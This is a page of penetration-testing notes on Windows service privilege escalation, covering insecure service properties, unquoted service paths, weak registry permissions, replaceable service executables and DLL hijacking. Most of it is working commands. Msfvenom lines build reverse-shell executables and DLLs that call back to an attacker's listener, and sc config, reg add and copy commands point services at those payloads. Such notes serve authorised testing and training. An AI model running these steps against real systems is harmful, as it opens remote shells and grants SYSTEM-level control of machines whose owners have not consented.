Pentest Notes
  • About
  • Notes
    • Methodologies & Tools
      • Scanning & Enumeration
        • Scanning
        • Port 21 - FTP
        • Port 22 - SSH
        • Port 23 - telnet
        • Port 25 - SMTP
          • Enumerate Users via SMTP
        • Port 53 - DNS
        • Port 110 - POP3
        • Port 111 - RPCBind
        • Port 123 - NTP
        • Port 139, 445 - SMB
        • Port 143 - IMAP
        • Port 161 - SNMP
        • Port 389 - LDAP
        • Port 1521 - Oracle DB Listener
        • Port 1433 - MSSQL
        • Port 2049 - NFS
        • Port 3306 - MySQL/MariaDB
        • Port 3389 - RDP
        • Port 5432 - Postgres
        • Port 6379 - Redis
        • Port 27017 - MongoDB
      • Active Directory
        • Housekeeping
        • DNS Recon
        • Finding Users
        • Client Side Attacks
        • PowerShell Domain Enumeration
        • Roasting
        • Mimikatz
        • Credential Attacks
        • Bloodhound
        • Persistence
        • Group Policy Attack Tools
        • Service Account Exploits
        • Delegation
        • Cheatsheets
        • Tool Repos
      • Privilege Escalation
        • Windows
          • Basic Methodology
          • UAC Bypass
          • Privilege Exploits
          • Service Exploits
          • Password Hunting
          • Scheduled Tasks
          • Insecure File Permissions
          • Driver Kernel Exploits
          • LAPS Password
          • AlwaysInstallElevated
          • SMBGhost
          • PowerShell
          • PowerUp
          • Enable Remote Desktop
          • Cheatsheets
        • Linux
          • Shell Upgrade
          • Basic Methodology
          • Adding User to /etc/passwd
          • Add User to /etc/sudoers
          • Docker Breakout
          • LD_Library
          • Checking Weird Binaries
          • Outdated Bash
          • NFS Root Squash
          • Resources
      • Web
        • IDOR
        • LFI - Local File Inclusion
          • Windows LFI List
        • RFI - Remote File Inclusion
        • Command Injection
        • Server Side Template Injection - SSTI
        • SQL Injection
          • Blind Injection Sample Script
        • XSS
        • Authentication
        • Administrative Portals
        • NodeJS
        • 403 Forbidden Bypass
      • Network Pivoting
      • Tools
        • Compiling
        • Cracking
        • Port Knocking
        • Shells
        • SQL
      • File Transfer
      • External
Powered by GitBook
On this page
  • Insecure Service Properties
  • Unquoted Service Paths
  1. Notes
  2. Methodologies & Tools
  3. Privilege Escalation
  4. Windows

Service Exploits

NB: You have to be able to start/stop a service to exploit

.\accesscheck /accepteula -uvqc $SERVICE

Insecure Service Properties

  • Find the vulnerable service

.\winPEASany.exe quiet servicesinfo
  • Confirm access to the service

.\accesschck.exe /accepteula -uqvwc $USER $SERVICE
  • Check configuration

sc qc $SERVICE
  • Check service state

sc query $SERVICE
  • Payload

msfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=$PORT -f exe -o rev.exe
  • Set service path to location of shell on victim

sc config $SERVICE binpath= "\"C:\Users\$User\Desktop\rev.exe""
  • Start nc listener

  • Restart the service

Unquoted Service Paths

  • Useful when ability to write to the directory is present but can't overwrite files in the main directory

  • Abuses the way Windows looks for executable, for example

    • C:\Program Files\Service\Cool Service\svc.exe

      • C:\Program.exe

      • C:\Program Files\Service.exe

      • C:\Program FIles\Service\Cool.exe

  • Create an executable named appropriately and place in appropriate directory

  • Find vulnerability

.\winPEASany.exe quiet servicesinfo
  • Or use wmic

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
  • You need

    • Path to .exe that does not contain quotes

    • Write permissions to any prior folder in the tree

  • Confirm service access for your user

.\accesscheck /accepteula -uvqc $USER $SERVICE
  • Check write permission to existing binary paths

.\accesschck.exe /accepteula -uwdq "C:\" 
.\accesschck.exe /accepteula -uwdq "C:\Program Files\" 
.\accesschck.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
  • If you have a writeable directory, name the reverse shell payload the $FolderName.exe

  • Put it in the directory

  • Start nc listener

  • Restart the service

Weak Registry Permissions

  • If ACL on a registry object is misconfigured, we could modify it even if we can't from the system normally

  • winpeas will find all of these

  • Verify

Get-ACL HKLM:\System\CurrentControlSet\Service\regsvc | Format-List

or

.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
  • Check if you have permission to start and stop the service

.\accesschk.exe /accepteula -ucqv $USER regsvc
  • Check the registry values for services

reg query HKLM\System\CurrentControlSet\Services\regsvc
  • With permissions this can be overwritten and made to point to rev.exe payload

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\path\to\revshell.exe /f
  • Start nc listener

  • Restart the service

Insecure Service Executables

  • If the .exe itself can be modified, can just replace it with our own msfvenom payload, renamed

.\winPEASany.exe quiet servicesinfo
  • Validate access

.\accesschk.exe /accepteula -uwq "C:\Program Files\File Permissions Service\$service.exe"
  • Confirm access to start/stop

.\accesschk.exe /accepteula -ucqv $user $service
  • Backup or rename original .exe

move "C:\Program Files\File Permissions Service\$service.exe" servce.exe.bak
  • Overwrite or replace the backed-up .exe

copy /Y C:\path\to\rev.exe "C:\Program Files\File Permissions Service\$service.exe"
  • Start nc listener

  • Restart the service

DLL Hijacking

  • Some programs require libraries loaded (DLLS)

  • If it contains an absolute path, or if the DLL is missing, and we have write access to the directory, we can essentially do the same as replacing the .exe itself to exploit

  • winpeas usually finds these

  • Check access to start/stop

.\accesschk.exe /accepteula -ucqv $user $dllsvc
  • Check the service

sc qc dllsvc
  • To be very sure, you can copy the service to a VM and check it with procmon to ensure the PATH, however, running the .exe from the location where the dll is located is usually enough. If you have GUI access it's easier to sus this out locally

  • Create a dll reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=$port -f dll -o reverse.dll
  • Copy into the folder with the path

  • Stop and start the service

net stop $dllsvc net start $dllsvc
PreviousPrivilege ExploitsNextPassword Hunting

Last updated 2 years ago